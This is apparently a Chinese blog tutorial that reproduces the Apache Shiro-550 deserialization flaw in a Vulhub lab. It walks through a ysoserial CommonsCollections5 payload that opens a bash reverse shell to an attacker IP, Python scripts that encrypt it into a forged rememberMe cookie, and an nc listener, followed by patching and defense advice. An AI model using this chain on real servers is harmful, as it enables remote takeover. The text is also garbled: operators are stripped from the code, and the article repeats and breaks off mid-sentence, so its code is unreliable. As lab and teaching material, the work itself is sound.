1. 项目概述Shiro-550漏洞的“前世今生”Shiro-550这个在安全圈内如雷贯耳的名字本质上是一个经典的Java反序列化漏洞。它之所以被广泛讨论和学习不仅仅是因为其影响范围巨大更因为它完美地展示了权限框架设计缺陷与Java反序列化机制结合后能产生多么严重的后果。这个漏洞的编号CVE-2016-4437其核心问题出在Apache Shiro框架用于“记住我”RememberMe功能的Cookie值处理上。简单来说当你在登录时勾选了“记住我”Shiro会生成一个加密的Cookie发送给你的浏览器。下次你再访问时浏览器会带着这个CookieShiro服务端会对其进行解密、反序列化从而恢复你的登录状态。问题就在于Shiro在1.2.4及以前版本中用于加密这个Cookie的密钥是硬编码在框架源码里的。这意味着攻击者只要知道了这个默认密钥就可以伪造一个恶意的“记住我”Cookie让Shiro服务端在反序列化时执行攻击者精心构造的恶意代码从而直接获取服务器权限。我之所以花时间复现这个漏洞是因为它太有代表性了。对于刚入门Web安全或Java安全的研究者来说Shiro-550是一个绝佳的“标本”。它涉及的知识点非常全面从Java反序列化原理、AES加密、到常见的利用链如CommonsCollections再到漏洞的修复与防御。通过亲手搭建环境、触发漏洞、分析流量、理解原理你能对整个漏洞的“攻击链”有一个直观且深刻的认识。这远比只看报告或视频教程要有效得多。接下来我会带你从零开始一步步复现这个经典漏洞并穿插讲解其中的关键技术和踩坑经验。2. 环境搭建与靶场部署复现漏洞的第一步是准备一个安全的实验环境。我强烈建议使用虚拟机并在其中部署Docker这能保证你的操作不会影响到宿主机也方便随时重置环境。2.1 实验环境准备我的实验环境基于Ubuntu 22.04 LTS的虚拟机你也可以使用Kali Linux或任何你熟悉的Linux发行版。核心工具是Docker和Docker Compose。首先确保系统已安装Docker和Docker Compose。如果尚未安装可以通过以下命令快速安装Docker引擎# 更新软件包索引 sudo apt-get update # 安装必要的依赖包允许apt通过HTTPS使用仓库 sudo apt-get install -y ca-certificates curl gnupg lsb-release # 添加Docker官方GPG密钥 sudo mkdir -p /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg # 设置Docker稳定版仓库 echo deb [arch$(dpkg --print-architecture) signed-by/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 再次更新并安装Docker引擎 sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin # 将当前用户加入docker组避免每次使用sudo sudo usermod -aG docker $USER # 需要重新登录或重启使组生效 newgrp docker安装完成后运行docker --version和docker compose version验证安装是否成功。注意使用Docker时务必注意镜像来源的安全性。我们复现漏洞使用的是公开的、用于安全研究的靶场镜像但在生产或其它环境中切勿随意运行来源不明的Docker镜像。2.2 Vulhub靶场部署Vulhub是一个非常好的漏洞复现靶场集合它提供了大量常见漏洞的一键式Docker环境。我们使用它来部署存在Shiro-550漏洞的Web应用。首先从GitHub克隆Vulhub项目到本地git clone https://github.com/vulhub/vulhub.git cd vulhub进入Shiro漏洞所在的目录cd shiro ls -la你会看到多个CVE编号的目录我们进入CVE-2016-4437即Shiro-550cd CVE-2016-4437这个目录下通常有一个docker-compose.yml文件它定义了如何构建和运行靶场容器。使用Docker Compose一键启动环境docker compose up -d命令中的-d参数表示在后台运行。执行后Docker会从网络拉取必要的镜像并启动容器。当看到done提示时环境就启动成功了。你可以通过docker ps命令查看正在运行的容器确认名为vulhub-shiro-550或类似的容器状态为Up。默认情况下靶场Web服务会运行在宿主机的8080端口。打开你的浏览器访问http://你的虚拟机IP:8080。如果看到Shiro示例应用的登录页面说明环境部署成功。实操心得在启动过程中如果遇到端口冲突比如8080端口已被占用可以修改docker-compose.yml文件将ports配置项中的8080:8080改为8081:8080或其他未被占用的端口。修改后需要先运行docker compose down停止并移除旧容器再重新docker compose up -d。3. 漏洞原理深度解析在动手攻击之前我们必须吃透漏洞的原理。这能帮助我们在复现时理解每一步操作的意义而不是机械地执行命令。3.1 “记住我”功能与Cookie机制Apache Shiro是一个功能强大且易用的Java安全框架提供身份验证、授权、加密和会话管理等功能。其“记住我”功能是为了提升用户体验用户登录一次后在会话过期甚至关闭浏览器后的一段时间内再次访问网站时无需重新登录。这个功能的实现流程如下用户首次登录并勾选“记住我”。Shiro服务器端生成一个包含用户身份信息的序列化对象。使用AES算法和预设的密钥对这个序列化后的字节流进行加密。将加密后的数据经过Base64编码设置为名为rememberMe的Cookie发送给用户浏览器。用户下次访问时浏览器会自动带上这个Cookie。Shiro服务端收到Cookie后进行Base64解码、AES解密最后将字节流反序列化成Java对象从而恢复用户的登录状态。3.2 硬编码密钥的致命缺陷漏洞的根源在于第3步的加密密钥。在Shiro 1.2.4及之前的版本中用于AES加密的默认密钥是硬编码在源代码AbstractRememberMeManager类中的public abstract class AbstractRememberMeManager implements RememberMeManager { private static final byte[] DEFAULT_CIPHER_KEY_BYTES Base64.decode(kPHbIxk5D2deZiIxcaaaA); private SerializerPrincipalCollection serializer new DefaultSerializerPrincipalCollection(); private CipherService cipherService new AesCipherService(); ... }这段代码中的DEFAULT_CIPHER_KEY_BYTES就是那个众所周知的默认密钥kPHbIxk5D2deZiIxcaaaA。如果开发人员在部署应用时没有在Shiro的配置文件中通过securityManager.rememberMeManager.cipherKey属性显式地修改这个密钥那么应用就会使用这个默认密钥。这意味着任何攻击者只要知道目标系统使用了存在漏洞的Shiro版本并且没有修改默认密钥他就掌握了加密Cookie的“钥匙”。他可以利用这个密钥加密一个恶意的序列化对象构造出Shiro服务端会认可的“合法”Cookie。3.3 反序列化攻击链的触发更糟糕的是Shiro在反序列化时使用的是ObjectInputStream.readObject()方法并且没有对反序列化的类做任何白名单限制。在Java中readObject()方法就像一个“魔法构造器”在反序列化过程中会自动调用被序列化对象的readObject方法如果该对象类定义了此方法。攻击者可以构造一个特殊的Java对象这个对象在反序列化时其readObject方法中的代码会被执行。通过精心设计对象间的调用关系即利用链如Apache Commons Collections库中的Transformer、InvokerTransformer等类最终可以达成执行任意命令的目的例如调用Runtime.getRuntime().exec(“calc”)来弹出计算器Windows或执行其他系统命令。所以完整的攻击链是获取默认密钥 - 序列化一个利用CommonsCollections库构造的恶意对象 - 用默认密钥AES加密 - Base64编码 - 替换Cookie中的rememberMe值 - 发送请求 - 服务端解密后反序列化 - 触发恶意代码执行。4. 漏洞检测与利用实战理解了原理我们就可以开始动手了。漏洞复现一般分为两步首先是检测目标是否存在漏洞其次是利用漏洞获取权限。4.1 使用工具进行漏洞检测手动检测Shiro-550漏洞最经典的方法就是发送一个特殊的Payload观察服务器的响应。由于Shiro在解密失败时例如密钥错误、数据损坏和反序列化失败时例如类找不到抛出的异常不同我们可以通过这种差异来判断密钥是否正确。网络上有很多现成的检测工具例如ShiroAttack2、shiro_exploit等。这里我演示一种使用Python脚本配合Burp Suite的检测方法这有助于理解底层过程。首先我们需要一个能生成检测Payload的脚本。核心逻辑是用可能的密钥首先是默认密钥去加密一个简单的序列化对象比如一个java.util.HashMap然后将其作为Cookie发送。import sys import base64 import uuid import subprocess from Crypto.Cipher import AES from Crypto.Util.Padding import pad def encrypt(key, payload): # Shiro的AES模式为CBCIV为随机16字节但会放在加密数据头部一起返回 iv uuid.uuid4().bytes cipher AES.new(key, AES.MODE_CBC, iv) # PKCS5Padding 填充 encrypted cipher.encrypt(pad(payload, AES.block_size)) return iv encrypted def shiro_550_check(url, key): # 一个简单的序列化对象这里用ysoserial生成一个最简单的URLDNS链payload用于检测更安全 # 也可以直接序列化一个简单的对象如 new java.util.HashMap() # 为简化我们假设这里生成了一个简单的序列化数据 # 实际中可以使用java -jar ysoserial.jar URLDNS http://your-dnslog-url payload.bin # 然后读取payload.bin文件 with open(simple_payload.bin, rb) as f: payload f.read() encrypted_payload encrypt(base64.b64decode(key), payload) rememberMe_cookie base64.b64encode(encrypted_payload).decode() # 打印出Cookie可以手动在Burp中替换或者用requests库自动发包 print(fGenerated rememberMe cookie with key [{key}]:) print(fCookie: rememberMe{rememberMe_cookie}) print(f\n请使用Burp Suite抓包将请求中的rememberMe Cookie替换为上述值并观察响应。) print(f如果响应包中Set-Cookie头里包含deleteMe字段或者返回包与发送无效Cookie时不同则可能使用了此密钥。) if __name__ __main__: target_url sys.argv[1] if len(sys.argv) 1 else http://192.168.1.10:8080 shiro_550_check(target_url, kPHbIxk5D2deZiIxcaaaA)注意上述脚本中的simple_payload.bin需要预先准备好。一个安全且常用的检测Payload是使用URLDNS链它只触发一次DNS查询不会执行命令非常适合无害检测。你可以使用ysoserial工具生成java -jar ysoserial.jar URLDNS http://your-dnslog-server.com simple_payload.bin。将your-dnslog-server.com替换为你可控的DNSLog地址如ceye.io提供的域名如果检测到该域名有DNS解析记录就证明反序列化触发了漏洞存在。更高效的方法是使用集成化工具。例如在Kali中可以使用shiro_attack_2.0这类图形化工具直接输入目标URL它会自动使用默认密钥字典进行爆破检测并显示哪些密钥可能被使用。4.2 构造利用Payload获取Shell当确认目标存在漏洞且已知密钥后下一步就是构造一个能执行命令的Payload获取反向Shell或执行其他操作。这里我们使用最著名的CommonsCollections利用链。我们需要两个工具ysoserial一个用于生成利用Java反序列化漏洞的Payload的工具。一个监听器用于接收反弹回来的Shell如Netcat或MSF。步骤一生成恶意序列化对象假设攻击者位于192.168.1.100准备在4444端口监听。我们需要生成一个执行bash -i /dev/tcp/192.168.1.100/4444 01命令的Payload。由于靶场环境是Java其底层系统很可能是Linux所以使用bash反向Shell。# 使用ysoserial的CommonsCollections5链适用于Shiro常用的CC版本 java -jar ysoserial.jar CommonsCollections5 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i} payload.bin这里对命令进行了Base64编码YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ是bash -i /dev/tcp/192.168.1.100/4444 01的编码是为了避免命令行中的特殊字符如、被错误解析。步骤二加密并编码Payload我们需要用之前检测到的密钥这里假设是默认密钥加密这个payload.bin文件。可以写一个Python脚本完成加密和Base64编码import base64 import uuid from Crypto.Cipher import AES from Crypto.Util.Padding import pad def shiro_encrypt(key_b64, payload_file): with open(payload_file, rb) as f: payload f.read() key base64.b64decode(key_b64) iv uuid.uuid4().bytes cipher AES.new(key, AES.MODE_CBC, iv) encrypted cipher.encrypt(pad(payload, AES.block_size)) rememberMe base64.b64encode(iv encrypted).decode() return rememberMe key kPHbIxk5D2deZiIxcaaaA rememberMe_cookie shiro_encrypt(key, payload.bin) print(frememberMe{rememberMe_cookie})运行这个脚本会得到一长串Base64字符串这就是我们最终的恶意Cookie值。步骤三启动监听并发送Payload在攻击机192.168.1.100上打开一个终端用Netcat监听4444端口nc -lvnp 4444然后使用Burp Suite或curl等工具向靶场http://靶机IP:8080的任意一个需要身份验证的接口比如/admin或直接是根路径/发送一个GET请求并在请求头中带上CookierememberMe上一步生成的长字符串。GET / HTTP/1.1 Host: 192.168.1.10:8080 User-Agent: Mozilla/5.0 Cookie: rememberMe4AvVhmFLUs0KTA3Kprsdag...很长一串发送请求后观察Netcat监听窗口。如果漏洞利用成功你会看到靶场的Shell连接到了你的攻击机并可以执行whoami、pwd等命令这证明你已经成功获取了服务器权限。实操心得与避坑指南Payload兼容性不同版本的Commons Collections库对应的利用链不同如CC1, CC3, CC5, CC6, CC7。如果CommonsCollections5不成功可以尝试CommonsCollections1或CommonsCollections2。Vulhub的Shiro-550靶场通常使用CC5或CC1链。命令编码Linux下命令中的重定向符号和IP地址中的点号在通过Java Runtime执行时可能会出问题。使用Base64编码是一种非常可靠的绕过方式。监听问题确保攻击机的防火墙放行了监听端口如4444并且靶机能够访问到攻击机的IP地址在局域网或同一Docker网络内通常没问题。如果是在云服务器上复现需要设置安全组规则。无回显问题有时命令执行了但没有回显。可以尝试使用ping命令探测ping -c 1 攻击机IP或者使用DNSLog等外带通道验证命令是否执行。5. 漏洞修复与防御策略复现漏洞不是为了攻击而是为了理解其危害从而更好地进行防御。针对Shiro-550漏洞官方和社区提供了明确的修复方案。5.1 官方修复方案Apache Shiro官方在1.2.5及以上版本中修复了此漏洞核心措施包括移除硬编码密钥新版本中不再设置默认的cipherKey。如果开发人员不显式配置启动时会直接抛出异常强制要求开发者提供自定义密钥。提供生成安全密钥的工具官方建议使用Shiro自带的org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来生成一个随机的、足够强度的密钥。修复后的配置示例在shiro.ini或Spring配置中[main] # 配置RememberMe管理器 rememberMeManager org.apache.shiro.web.mgt.CookieRememberMeManager # 必须设置一个自定义的、足够复杂的密钥 rememberMeManager.cipherKey your_strong_and_random_base64_encoded_key_here securityManager.rememberMeManager $rememberMeManager生成密钥的Java代码示例import org.apache.shiro.crypto.AesCipherService; import java.util.Base64; public class GenerateKey { public static void main(String[] args) { AesCipherService aes new AesCipherService(); byte[] key aes.generateNewKey().getEncoded(); String base64Key Base64.getEncoder().encodeToString(key); System.out.println(Your new cipherKey: base64Key); } }5.2 深度防御建议仅仅升级Shiro版本和修改密钥是最基本的。要构建更稳固的防御需要从架构和编码层面考虑升级基础库确保项目中使用的commons-collections、commons-beanutils等可能被用于构造利用链的第三方库升级到最新版本。新版本通常修复了危险的Transformer等类。使用反序列化过滤器JEP 290对于使用JDK 9的环境可以启用Java原生提供的反序列化过滤器限制反序列化过程中允许加载的类。这是最根本的解决方案之一。// 示例使用ObjectInputFilter设置白名单 ObjectInputFilter filter ObjectInputFilter.Config.createFilter(java.util.*;!*); // 在反序列化前设置过滤器避免反序列化不可信数据这是黄金法则。任何来自网络、用户输入、外部存储的数据在反序列化前都应被视为不可信的。如果业务上必须使用应建立严格的白名单机制。WAF/IDS/IPS防护在应用前端部署Web应用防火墙WAF或入侵检测/防御系统可以识别和拦截常见的Shiro漏洞利用流量例如包含特定特征Cookie的请求。最小权限原则运行Java应用的服务器账户如tomcat、www-data应遵循最小权限原则避免使用root权限。这样即使被攻破攻击者能造成的破坏也有限。定期安全扫描与代码审计将Shiro等组件的版本监控纳入DevSecOps流程使用SCA软件成分分析工具定期扫描依赖。对新项目或重要项目进行代码安全审计检查Shiro等相关安全配置。6. 复现过程中的常见问题与排查在复现过程中你可能会遇到各种问题。这里我总结了一些常见的情况和排查思路。问题现象可能原因排查步骤与解决方案访问http://IP:8080无响应Docker容器未成功启动或端口映射错误1. 运行docker ps查看容器状态是否为Up。2. 运行docker logs 容器名查看容器启动日志排查错误。3. 检查docker-compose.yml中的端口映射配置确认宿主机端口未被占用。工具检测出密钥但发送Payload后无反应监听不到Shell1. 利用链不兼容。2. 命令执行被拦截或格式问题。3. 网络不通靶机无法访问攻击机。4. 目标环境无bash或命令执行失败。1.换用其他CC链尝试CommonsCollections1,CommonsCollections2,CommonsCollections3。2.验证命令执行先使用无害命令测试如ping或curl到DNSLog确认漏洞是否可利用。3.检查网络确保靶机与攻击机IP互通防火墙/安全组放行监听端口。4.调整命令尝试使用更通用的sh -c或直接调用/bin/bash。确认目标系统环境。使用ysoserial生成Payload时报错或无法运行Java版本不兼容或依赖缺失1. 确保已安装Java 8或以上版本。2. 从ysoserial的官方GitHub Release页面下载最新的jar包。3. 运行java -cp ysoserial.jar ysoserial.GeneratePayload查看帮助确认jar包可执行。发送Payload后服务器返回500错误或应用重启Payload触发了反序列化错误但可能由于类缺失或序列化UID不匹配导致1. 这通常意味着利用链的部分类在目标Classpath中不存在。尝试更通用的CC链CC1/CC5/CC6。2. 检查靶场环境中的Commons Collections版本尝试使用对应版本的利用链。Vulhub环境通常经过适配CC5成功率较高。记住我Cookie已设置但工具检测不到有效密钥1. 目标使用了非默认密钥且不在你的密钥字典中。2. 目标可能已升级Shiro漏洞已修复。3. 检测脚本或工具逻辑问题。1.扩展密钥字典使用更全面的Shiro密钥字典进行爆破网上有收集了上百个常见弱密钥的字典文件。2.手动分析如果条件允许尝试获取应用配置文件或源码查找cipherKey配置。3.验证Shiro版本通过页面错误信息或其他特征判断Shiro的大致版本。一个关键的排查技巧日志分析。Docker容器内部的应用日志是重要的信息来源。你可以通过以下命令进入容器内部查看日志# 找到运行Shiro应用的容器ID或名称 docker ps # 进入容器内部 docker exec -it 容器名或ID /bin/bash # 查看Tomcat日志假设应用部署在Tomcat cd /usr/local/tomcat/logs tail -f catalina.out或者在宿主机直接查看容器日志docker logs -f 容器名或ID当发送Payload时观察日志中是否有反序列化相关的错误堆栈如java.lang.ClassNotFoundException、java.io.InvalidClassException等这些信息能帮你判断利用链是否兼容、密钥是否正确。7. 从复现到理解构建知识体系完成一次漏洞复现绝不能止步于“弹出一个Shell”。Shiro-550是一个入口它背后牵连着庞大的Java安全知识体系。我建议你在复现之后沿着以下几个方向深入挖掘深入Java反序列化机制去阅读ObjectInputStream.readObject()的源码理解其工作流程。了解readObject、readResolve、writeReplace这些特殊方法在序列化/反序列化生命周期中的作用。分析利用链构造选择一条利用链比如CommonsCollections1使用IDE调试模式一步步跟踪反序列化过程。看看一个普通的PriorityQueue或BadAttributeValueExpException对象是如何经过一系列的Transformer、InvokerTransformer、ChainedTransformer调用最终执行到Runtime.exec()的。这个过程会让你对Java反射、动态代理、类加载机制有更深的理解。探索其他利用链除了CommonsCollections还有哪些库存在可被利用的Gadget比如Beanutils、Groovy、Jython、Hibernate、Jackson等。研究ysoserial工具中其他Payload的生成原理。研究修复与绕过了解JEP 290反序列化过滤器的原理和局限性。思考在过滤器存在的情况下攻击者可能如何绕过例如寻找未在过滤名单中的类或者利用本地类构造利用链。这能让你从防御者的视角思考问题。工具化与自动化尝试自己用Python或Java写一个简单的Shiro漏洞检测和利用工具而不是完全依赖现成的。这会强迫你理解加密、编码、网络请求等每一个细节。漏洞复现的最终目的是化“攻击技能”为“防御知识”。当你真正理解了攻击者是如何思考、如何利用系统弱点时你才能在设计架构、编写代码、配置系统时下意识地避开这些陷阱。Shiro-550的复现之旅就像一次对Java应用安全体系的深度解剖每一个步骤都值得你停下来思考其背后的原理和更广泛的适用场景。
Shiro-550漏洞复现:Java反序列化与权限框架安全实践
1. 项目概述Shiro-550漏洞的“前世今生”Shiro-550这个在安全圈内如雷贯耳的名字本质上是一个经典的Java反序列化漏洞。它之所以被广泛讨论和学习不仅仅是因为其影响范围巨大更因为它完美地展示了权限框架设计缺陷与Java反序列化机制结合后能产生多么严重的后果。这个漏洞的编号CVE-2016-4437其核心问题出在Apache Shiro框架用于“记住我”RememberMe功能的Cookie值处理上。简单来说当你在登录时勾选了“记住我”Shiro会生成一个加密的Cookie发送给你的浏览器。下次你再访问时浏览器会带着这个CookieShiro服务端会对其进行解密、反序列化从而恢复你的登录状态。问题就在于Shiro在1.2.4及以前版本中用于加密这个Cookie的密钥是硬编码在框架源码里的。这意味着攻击者只要知道了这个默认密钥就可以伪造一个恶意的“记住我”Cookie让Shiro服务端在反序列化时执行攻击者精心构造的恶意代码从而直接获取服务器权限。我之所以花时间复现这个漏洞是因为它太有代表性了。对于刚入门Web安全或Java安全的研究者来说Shiro-550是一个绝佳的“标本”。它涉及的知识点非常全面从Java反序列化原理、AES加密、到常见的利用链如CommonsCollections再到漏洞的修复与防御。通过亲手搭建环境、触发漏洞、分析流量、理解原理你能对整个漏洞的“攻击链”有一个直观且深刻的认识。这远比只看报告或视频教程要有效得多。接下来我会带你从零开始一步步复现这个经典漏洞并穿插讲解其中的关键技术和踩坑经验。2. 环境搭建与靶场部署复现漏洞的第一步是准备一个安全的实验环境。我强烈建议使用虚拟机并在其中部署Docker这能保证你的操作不会影响到宿主机也方便随时重置环境。2.1 实验环境准备我的实验环境基于Ubuntu 22.04 LTS的虚拟机你也可以使用Kali Linux或任何你熟悉的Linux发行版。核心工具是Docker和Docker Compose。首先确保系统已安装Docker和Docker Compose。如果尚未安装可以通过以下命令快速安装Docker引擎# 更新软件包索引 sudo apt-get update # 安装必要的依赖包允许apt通过HTTPS使用仓库 sudo apt-get install -y ca-certificates curl gnupg lsb-release # 添加Docker官方GPG密钥 sudo mkdir -p /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg # 设置Docker稳定版仓库 echo deb [arch$(dpkg --print-architecture) signed-by/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 再次更新并安装Docker引擎 sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin # 将当前用户加入docker组避免每次使用sudo sudo usermod -aG docker $USER # 需要重新登录或重启使组生效 newgrp docker安装完成后运行docker --version和docker compose version验证安装是否成功。注意使用Docker时务必注意镜像来源的安全性。我们复现漏洞使用的是公开的、用于安全研究的靶场镜像但在生产或其它环境中切勿随意运行来源不明的Docker镜像。2.2 Vulhub靶场部署Vulhub是一个非常好的漏洞复现靶场集合它提供了大量常见漏洞的一键式Docker环境。我们使用它来部署存在Shiro-550漏洞的Web应用。首先从GitHub克隆Vulhub项目到本地git clone https://github.com/vulhub/vulhub.git cd vulhub进入Shiro漏洞所在的目录cd shiro ls -la你会看到多个CVE编号的目录我们进入CVE-2016-4437即Shiro-550cd CVE-2016-4437这个目录下通常有一个docker-compose.yml文件它定义了如何构建和运行靶场容器。使用Docker Compose一键启动环境docker compose up -d命令中的-d参数表示在后台运行。执行后Docker会从网络拉取必要的镜像并启动容器。当看到done提示时环境就启动成功了。你可以通过docker ps命令查看正在运行的容器确认名为vulhub-shiro-550或类似的容器状态为Up。默认情况下靶场Web服务会运行在宿主机的8080端口。打开你的浏览器访问http://你的虚拟机IP:8080。如果看到Shiro示例应用的登录页面说明环境部署成功。实操心得在启动过程中如果遇到端口冲突比如8080端口已被占用可以修改docker-compose.yml文件将ports配置项中的8080:8080改为8081:8080或其他未被占用的端口。修改后需要先运行docker compose down停止并移除旧容器再重新docker compose up -d。3. 漏洞原理深度解析在动手攻击之前我们必须吃透漏洞的原理。这能帮助我们在复现时理解每一步操作的意义而不是机械地执行命令。3.1 “记住我”功能与Cookie机制Apache Shiro是一个功能强大且易用的Java安全框架提供身份验证、授权、加密和会话管理等功能。其“记住我”功能是为了提升用户体验用户登录一次后在会话过期甚至关闭浏览器后的一段时间内再次访问网站时无需重新登录。这个功能的实现流程如下用户首次登录并勾选“记住我”。Shiro服务器端生成一个包含用户身份信息的序列化对象。使用AES算法和预设的密钥对这个序列化后的字节流进行加密。将加密后的数据经过Base64编码设置为名为rememberMe的Cookie发送给用户浏览器。用户下次访问时浏览器会自动带上这个Cookie。Shiro服务端收到Cookie后进行Base64解码、AES解密最后将字节流反序列化成Java对象从而恢复用户的登录状态。3.2 硬编码密钥的致命缺陷漏洞的根源在于第3步的加密密钥。在Shiro 1.2.4及之前的版本中用于AES加密的默认密钥是硬编码在源代码AbstractRememberMeManager类中的public abstract class AbstractRememberMeManager implements RememberMeManager { private static final byte[] DEFAULT_CIPHER_KEY_BYTES Base64.decode(kPHbIxk5D2deZiIxcaaaA); private SerializerPrincipalCollection serializer new DefaultSerializerPrincipalCollection(); private CipherService cipherService new AesCipherService(); ... }这段代码中的DEFAULT_CIPHER_KEY_BYTES就是那个众所周知的默认密钥kPHbIxk5D2deZiIxcaaaA。如果开发人员在部署应用时没有在Shiro的配置文件中通过securityManager.rememberMeManager.cipherKey属性显式地修改这个密钥那么应用就会使用这个默认密钥。这意味着任何攻击者只要知道目标系统使用了存在漏洞的Shiro版本并且没有修改默认密钥他就掌握了加密Cookie的“钥匙”。他可以利用这个密钥加密一个恶意的序列化对象构造出Shiro服务端会认可的“合法”Cookie。3.3 反序列化攻击链的触发更糟糕的是Shiro在反序列化时使用的是ObjectInputStream.readObject()方法并且没有对反序列化的类做任何白名单限制。在Java中readObject()方法就像一个“魔法构造器”在反序列化过程中会自动调用被序列化对象的readObject方法如果该对象类定义了此方法。攻击者可以构造一个特殊的Java对象这个对象在反序列化时其readObject方法中的代码会被执行。通过精心设计对象间的调用关系即利用链如Apache Commons Collections库中的Transformer、InvokerTransformer等类最终可以达成执行任意命令的目的例如调用Runtime.getRuntime().exec(“calc”)来弹出计算器Windows或执行其他系统命令。所以完整的攻击链是获取默认密钥 - 序列化一个利用CommonsCollections库构造的恶意对象 - 用默认密钥AES加密 - Base64编码 - 替换Cookie中的rememberMe值 - 发送请求 - 服务端解密后反序列化 - 触发恶意代码执行。4. 漏洞检测与利用实战理解了原理我们就可以开始动手了。漏洞复现一般分为两步首先是检测目标是否存在漏洞其次是利用漏洞获取权限。4.1 使用工具进行漏洞检测手动检测Shiro-550漏洞最经典的方法就是发送一个特殊的Payload观察服务器的响应。由于Shiro在解密失败时例如密钥错误、数据损坏和反序列化失败时例如类找不到抛出的异常不同我们可以通过这种差异来判断密钥是否正确。网络上有很多现成的检测工具例如ShiroAttack2、shiro_exploit等。这里我演示一种使用Python脚本配合Burp Suite的检测方法这有助于理解底层过程。首先我们需要一个能生成检测Payload的脚本。核心逻辑是用可能的密钥首先是默认密钥去加密一个简单的序列化对象比如一个java.util.HashMap然后将其作为Cookie发送。import sys import base64 import uuid import subprocess from Crypto.Cipher import AES from Crypto.Util.Padding import pad def encrypt(key, payload): # Shiro的AES模式为CBCIV为随机16字节但会放在加密数据头部一起返回 iv uuid.uuid4().bytes cipher AES.new(key, AES.MODE_CBC, iv) # PKCS5Padding 填充 encrypted cipher.encrypt(pad(payload, AES.block_size)) return iv encrypted def shiro_550_check(url, key): # 一个简单的序列化对象这里用ysoserial生成一个最简单的URLDNS链payload用于检测更安全 # 也可以直接序列化一个简单的对象如 new java.util.HashMap() # 为简化我们假设这里生成了一个简单的序列化数据 # 实际中可以使用java -jar ysoserial.jar URLDNS http://your-dnslog-url payload.bin # 然后读取payload.bin文件 with open(simple_payload.bin, rb) as f: payload f.read() encrypted_payload encrypt(base64.b64decode(key), payload) rememberMe_cookie base64.b64encode(encrypted_payload).decode() # 打印出Cookie可以手动在Burp中替换或者用requests库自动发包 print(fGenerated rememberMe cookie with key [{key}]:) print(fCookie: rememberMe{rememberMe_cookie}) print(f\n请使用Burp Suite抓包将请求中的rememberMe Cookie替换为上述值并观察响应。) print(f如果响应包中Set-Cookie头里包含deleteMe字段或者返回包与发送无效Cookie时不同则可能使用了此密钥。) if __name__ __main__: target_url sys.argv[1] if len(sys.argv) 1 else http://192.168.1.10:8080 shiro_550_check(target_url, kPHbIxk5D2deZiIxcaaaA)注意上述脚本中的simple_payload.bin需要预先准备好。一个安全且常用的检测Payload是使用URLDNS链它只触发一次DNS查询不会执行命令非常适合无害检测。你可以使用ysoserial工具生成java -jar ysoserial.jar URLDNS http://your-dnslog-server.com simple_payload.bin。将your-dnslog-server.com替换为你可控的DNSLog地址如ceye.io提供的域名如果检测到该域名有DNS解析记录就证明反序列化触发了漏洞存在。更高效的方法是使用集成化工具。例如在Kali中可以使用shiro_attack_2.0这类图形化工具直接输入目标URL它会自动使用默认密钥字典进行爆破检测并显示哪些密钥可能被使用。4.2 构造利用Payload获取Shell当确认目标存在漏洞且已知密钥后下一步就是构造一个能执行命令的Payload获取反向Shell或执行其他操作。这里我们使用最著名的CommonsCollections利用链。我们需要两个工具ysoserial一个用于生成利用Java反序列化漏洞的Payload的工具。一个监听器用于接收反弹回来的Shell如Netcat或MSF。步骤一生成恶意序列化对象假设攻击者位于192.168.1.100准备在4444端口监听。我们需要生成一个执行bash -i /dev/tcp/192.168.1.100/4444 01命令的Payload。由于靶场环境是Java其底层系统很可能是Linux所以使用bash反向Shell。# 使用ysoserial的CommonsCollections5链适用于Shiro常用的CC版本 java -jar ysoserial.jar CommonsCollections5 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i} payload.bin这里对命令进行了Base64编码YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ是bash -i /dev/tcp/192.168.1.100/4444 01的编码是为了避免命令行中的特殊字符如、被错误解析。步骤二加密并编码Payload我们需要用之前检测到的密钥这里假设是默认密钥加密这个payload.bin文件。可以写一个Python脚本完成加密和Base64编码import base64 import uuid from Crypto.Cipher import AES from Crypto.Util.Padding import pad def shiro_encrypt(key_b64, payload_file): with open(payload_file, rb) as f: payload f.read() key base64.b64decode(key_b64) iv uuid.uuid4().bytes cipher AES.new(key, AES.MODE_CBC, iv) encrypted cipher.encrypt(pad(payload, AES.block_size)) rememberMe base64.b64encode(iv encrypted).decode() return rememberMe key kPHbIxk5D2deZiIxcaaaA rememberMe_cookie shiro_encrypt(key, payload.bin) print(frememberMe{rememberMe_cookie})运行这个脚本会得到一长串Base64字符串这就是我们最终的恶意Cookie值。步骤三启动监听并发送Payload在攻击机192.168.1.100上打开一个终端用Netcat监听4444端口nc -lvnp 4444然后使用Burp Suite或curl等工具向靶场http://靶机IP:8080的任意一个需要身份验证的接口比如/admin或直接是根路径/发送一个GET请求并在请求头中带上CookierememberMe上一步生成的长字符串。GET / HTTP/1.1 Host: 192.168.1.10:8080 User-Agent: Mozilla/5.0 Cookie: rememberMe4AvVhmFLUs0KTA3Kprsdag...很长一串发送请求后观察Netcat监听窗口。如果漏洞利用成功你会看到靶场的Shell连接到了你的攻击机并可以执行whoami、pwd等命令这证明你已经成功获取了服务器权限。实操心得与避坑指南Payload兼容性不同版本的Commons Collections库对应的利用链不同如CC1, CC3, CC5, CC6, CC7。如果CommonsCollections5不成功可以尝试CommonsCollections1或CommonsCollections2。Vulhub的Shiro-550靶场通常使用CC5或CC1链。命令编码Linux下命令中的重定向符号和IP地址中的点号在通过Java 